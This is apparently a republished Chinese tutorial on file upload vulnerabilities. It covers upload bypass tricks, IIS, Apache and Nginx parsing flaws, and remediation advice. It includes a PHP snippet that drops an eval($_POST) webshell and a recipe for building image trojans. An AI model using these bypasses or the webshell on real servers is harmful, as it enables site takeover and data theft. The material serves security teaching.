位置: IT常识 - 正文

web渗透之文件上传漏洞(web渗透违法吗)

编辑:rootadmin
web渗透之文件上传漏洞 目录一、原理二、利用方式三、文件上传的风险处四、文件上传漏洞的危害五、文件上传漏洞常见的绕过方式1、前端绕过检测2、mime类型检测绕过3、黑名单绕过(1)、相似扩展名(2)、apache配置文件(3)、大小写绕过(4)、在后缀名后面加空格(5)、在后缀名上加点 . 尝试绕过(6)、 ::$data(7)、点空点 . .(8)、双写绕过4、白名单绕过(1)、00截断(2)、图片木马(3)、条件竞争5、解析漏洞iisapachenginx六、文件上传的修复建议七、编辑器漏洞八、解析漏洞结语一、原理

推荐整理分享web渗透之文件上传漏洞(web渗透违法吗),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:web渗透有什么用,web渗透是干嘛的,web渗透违法吗,web渗透文件上传,web渗透啥意思,web渗透违法吗,最新web渗透教程,最新web渗透教程,内容如对您有帮助,希望把文章链接给更多的朋友!

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。

二、利用方式

1、一句话木马能够被正常执行

2、能找到上传后的路径

3、可能会有上传文件的策略,比如(上传后修改文件名)针对于这种情况,那么就要来找文件名

三、文件上传的风险处

1、注册/修改个人信息处(如:上传头像等等) 2、敏感身份认证处(如:上传身份证图片/银行卡/个人图片等等) 3、订单评价处(如:上传商品照片等) 4、朋友圈/空间(如上传照片处) 5、所有能上传文件的操作处

四、文件上传漏洞的危害

1、查看/上传/下载对方文件(可以任意的操控对方服务器) 2、查看数据库信息(拖库) 3、可以执行系统命令 4、挂黑页 5、一句话就是想干嘛干嘛

五、文件上传漏洞常见的绕过方式1、前端绕过检测

(1)、删除js函数

(2)、或者禁用js

2、mime类型检测绕过

主要是改请求头上的Content-Type值

附赠文件后缀表一张

3、黑名单绕过(1)、相似扩展名

.php4、.php5等

(2)、apache配置文件

.htaccess 通过apache配置文件把jpg后缀解析成php代码 AddType application/x-httpd-php .jpg

(3)、大小写绕过(4)、在后缀名后面加空格(5)、在后缀名上加点 . 尝试绕过(6)、 ::$data

::data就是利用windows下的NTFS文件系统的一个特性,当我们访问a.php::data 就是利用windows下的NTFS文件系统的一个特性,当我们访问a.php::data就是利用windows下的NTFS文件系统的一个特性,当我们访问a.php::data 就相当于请求a.php

(7)、点空点 . .

这种就是只过滤一遍的情况下

(8)、双写绕过

这种情况下一定要是删除php后缀的前提,不然就不能使用

4、白名单绕过(1)、00截断

原理

0x00是字符串的结束标识符,攻击者可以利用手动添加标识符的方式来将后面的内容进行截断,而后面的内容可以帮助我们绕过检测

条件:

php版本<5.3 php.ini这个配置文件magic_quotes_gpc必须为off才有用 上传路径可控的情况下

(2)、图片木马

条件:

必须要有解析漏洞或者文件包含漏洞才能解析图片里面的php代码

制作木马的两种方式

1、copy 图片名字 /b + 脚本名字 /a 生成后的名字 2、把图片以记事本打开。保留前三行其他的全部删除。在最后加上木马即可。

二次渲染

如果上传上去的图片被改变过,那么把改变后的图片下载下来进行对比,在没有改动过的地方进行添加一句话木马操作

(3)、条件竞争

是一种服务端的漏洞。在代码层面执行的操作顺序设计不合理。造成的问题。

5、解析漏洞iis

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

apache

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

web渗透之文件上传漏洞(web渗透违法吗)

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

CVE-2017-15715nginx

漏洞原理    Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了 漏洞形式 www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞) 另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

tomcat

CVE-2017-12615Apache Tomcat 7.0.0 - 7.0.79六、文件上传的修复建议

1、对于上传的文件,验证程序要做严格验证,使用服务器端校验,而不能仅用前端javascript验证。

(1).建议严格限制上传文件类型和上传文件名及后缀。

(2).检查文件头和文件内容,对上传文件目录的运行权限进行严格限制。

(3).及时排查、删除服务器木马文件。

(4).上传文件的存储目录禁用执行权限

(5).文件的后缀白名单,注意0x00截断攻击

(6).不能有本地文件包含漏洞

(7).及时修复web上的代码

(8).升级web server

(9).后端验证:采用服务端验证模式

(10).后缀验证:基于白名单,黑名单过滤

(11).MIME验证:基于上传自带类型艰检测

(12).内容检测:文件头,完整性检测

(13).自带函数过滤

(14).WAF防护软件:宝塔、云盾等

2、文件解析 形式:

www.xxx.com/xx.asp;.jpg

原理:

服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa

/test.cer

/test.cdx

修复方案

(1).目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。

(2).做好权限设置,限制用户创建文件夹。

七、编辑器漏洞

利用编辑器的任意文件上传漏洞

比如 fckeditor任意文件上传漏洞

八、解析漏洞

简介

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。 此类漏洞中具有代表性的便是IIS6.0解析漏洞,此漏洞又有目录解析和文件解析两种利用方式,但也有少部分是由于配置的疏忽所产生的,如Nginx < 8.03的畸形解析漏洞。

1、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

IIS 7.0/IIS 7.5/ Nginx<8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php 文件。在某些使用有漏洞的网站中,访/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。 这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。 1.jpg/1.php

2、IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

结语

制作不易,希望能给各位技术友和新入门的同学带来帮助

本文链接地址:https://www.jiuchutong.com/zhishi/297445.html 转载请保留说明!

上一篇:以element ui为例分析前端各种弹窗和对话框的使用场景与区别(element ui的作用)

下一篇:常见浏览器兼容性问题及解决办法总结(常见浏览器兼容软件)

  • 闲鱼卖家怎么设置支持信用卡付款(闲鱼卖家怎么设置延期发货)

    闲鱼卖家怎么设置支持信用卡付款(闲鱼卖家怎么设置延期发货)

  • 微信小程序打不开(微信小程序打不开白屏怎么办)

    微信小程序打不开(微信小程序打不开白屏怎么办)

  • 人人视频电视版怎么安装(人人视频电视版不能快进)

    人人视频电视版怎么安装(人人视频电视版不能快进)

  • 华为手机照片水印可以自己设置吗(华为手机照片水印可以编辑文字吗)

    华为手机照片水印可以自己设置吗(华为手机照片水印可以编辑文字吗)

  • qq好友删了三年能恢复吗(qq好友删了三年怎么恢复)

    qq好友删了三年能恢复吗(qq好友删了三年怎么恢复)

  • 苹果x建议更新版本吗(苹果X建议更新到16.2版本吗)

    苹果x建议更新版本吗(苹果X建议更新到16.2版本吗)

  • 探探注销了匹配的人会解除吗(探探如果注销了,原来配对过的也会自动消失吗)

    探探注销了匹配的人会解除吗(探探如果注销了,原来配对过的也会自动消失吗)

  • 抖音拉黑解除对方知道吗(抖音拉黑解除对方关注取消)

    抖音拉黑解除对方知道吗(抖音拉黑解除对方关注取消)

  • 苹果6sa1700是什么版本(苹果6s是a1700吗)

    苹果6sa1700是什么版本(苹果6s是a1700吗)

  • qq退出后仍接收消息通知什么意思(qq退出后仍接收消息消失了)

    qq退出后仍接收消息通知什么意思(qq退出后仍接收消息消失了)

  • 超级快充伤电池吗(超级快充对电池的损耗)

    超级快充伤电池吗(超级快充对电池的损耗)

  • 宽带密码改了后就上不了网了怎么办(宽带密码改了后上不了网)

    宽带密码改了后就上不了网了怎么办(宽带密码改了后上不了网)

  • 微博草稿箱数据能恢复吗(微博草稿箱的内容如何查看)

    微博草稿箱数据能恢复吗(微博草稿箱的内容如何查看)

  • vivox27来电闪光灯怎么设置(vivox27来电闪光灯怎么关闭)

    vivox27来电闪光灯怎么设置(vivox27来电闪光灯怎么关闭)

  • word标记区怎么取消(word标记区怎么处理)

    word标记区怎么取消(word标记区怎么处理)

  • 京东还没确认收货怎么退货(京东还没确认收货能申请价保吗)

    京东还没确认收货怎么退货(京东还没确认收货能申请价保吗)

  • ipad无发票能保修吗(ipad 没有发票能保修吗)

    ipad无发票能保修吗(ipad 没有发票能保修吗)

  • 港版三星和国行的区别(港版三星和国行的区别在哪里)

    港版三星和国行的区别(港版三星和国行的区别在哪里)

  • 什么是瀑布屏幕(啥是瀑布屏)

    什么是瀑布屏幕(啥是瀑布屏)

  • 如何修改微信昵称(如何修改微信昵称名字)

    如何修改微信昵称(如何修改微信昵称名字)

  • win10突然黑屏假死(win10突然屏幕黑了)

    win10突然黑屏假死(win10突然屏幕黑了)

  • 电脑怎么发送文件夹(电脑怎么发送文件到手机)

    电脑怎么发送文件夹(电脑怎么发送文件到手机)

  • 怎么让全民k歌不评分(怎么让全民k歌人气高)

    怎么让全民k歌不评分(怎么让全民k歌人气高)

  • 有日期的相机软件(有日期的相机app)

    有日期的相机软件(有日期的相机app)

  • 为什么陌陌发不出信息(为什么陌陌发不出去照片)

    为什么陌陌发不出信息(为什么陌陌发不出去照片)

  • [JAVA]继承(java继承的基本概念)

    [JAVA]继承(java继承的基本概念)

  • 【原生Ajax】全面了解xhr的概念与使用。(原生ajax和axios的区别)

    【原生Ajax】全面了解xhr的概念与使用。(原生ajax和axios的区别)

  • 小规模纳税人月销售额超过15万
  • 银行承兑汇票和支票的区别
  • 小规模纳税人零申报是每季度报吗
  • 个税在资产负债表中体现吗
  • 基本户的利息和本金比例
  • 个人提供劳务报酬需要到税务局开发票吗?
  • 货运代理费属于运费还是其他
  • 什么时候过路费是半价
  • 分期付款购买商品的会计分录
  • 生产成本里面的工资
  • 有限合伙企业利润先税后分
  • 行政事业单位会计制度
  • 政府会计制度固定资产折旧哪个月开始计提
  • 子公司的财报和母公司的财报并表吗
  • 小规模纳税人汇算清缴要填什么表
  • 会计学中递延收益怎么算
  • 政府补贴项目账务怎么做
  • 小规模纳税人税控盘怎么做账
  • 银行现金解款单回单怎么填
  • 凭证工本费的账务处理
  • 记账时显示期初未建账
  • 购进固定资产汽车该如何进行会计处理?
  • 税报完了可以撤销吗
  • 有限责任公司企业名称有哪些
  • 上月暂估本月怎么冲销
  • 原材料账户可以按什么进行明细核算
  • 预付账款收不回来摘要怎么写
  • win11如何修改任务栏颜色
  • 主办会计工作主要做什么
  • 事业单位自筹基金有哪些
  • 超市一般纳税人账务处理
  • outlook的数据文件
  • windows11怎么查看显卡
  • win11咋截屏
  • 怎么实现增删改查
  • 技术服务辅助设施包括
  • 独资子公司如何注册
  • 哪些收入需要交消费税
  • laravel批量insert
  • 暂估纳税调增了账务怎么处理
  • php生成csv文件
  • vue项目页面跳转
  • Midjourney之外21款免费的AI Image画图网站集合
  • bcdboot命令怎么用
  • 对供应商的罚款通知怎么写
  • 车票怎么抵扣增值税税率
  • 支付对价的公允价值的处理
  • 待摊费用属于企业的债权
  • 对企业发票的监管
  • 机器设备可以作为出资方式吗
  • 缔约过失是什么行为
  • 转出未交增值税和未交增值税区别
  • 原始凭证的审核内容
  • 可供分配的利润分配顺序
  • 搬迁所得
  • 个人垫付社保会计分录
  • 收到银行利息记什么会计科目
  • 新冠肺炎疫情相关租金减让适用简化处理方法的时间范围
  • 期末留抵税额可以冲减欠税吗
  • 小企业会计建账分录
  • 总分类账户与明细分类账户的关系
  • win10文件夹设置
  • xp如何给文件夹加密码
  • task hots windows
  • win10连接ubuntu20.04远程桌面
  • sendmail邮件服务器
  • dos脚本 菜鸟教程
  • web标准化
  • python for key in
  • cocos2dx入门
  • tree cmd
  • python 异常处理方法
  • 使用权资产
  • jQuery height()、innerHeight()、outerHeight()函数的区别详解
  • android 界面切换
  • 花都狮岭到广州白云站怎么坐车
  • 增值税纳税申报表附列资料(一)
  • 江苏医保给家人用怎么操作
  • 福州税务实名认证
  • 二手房交易契税减免政策
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设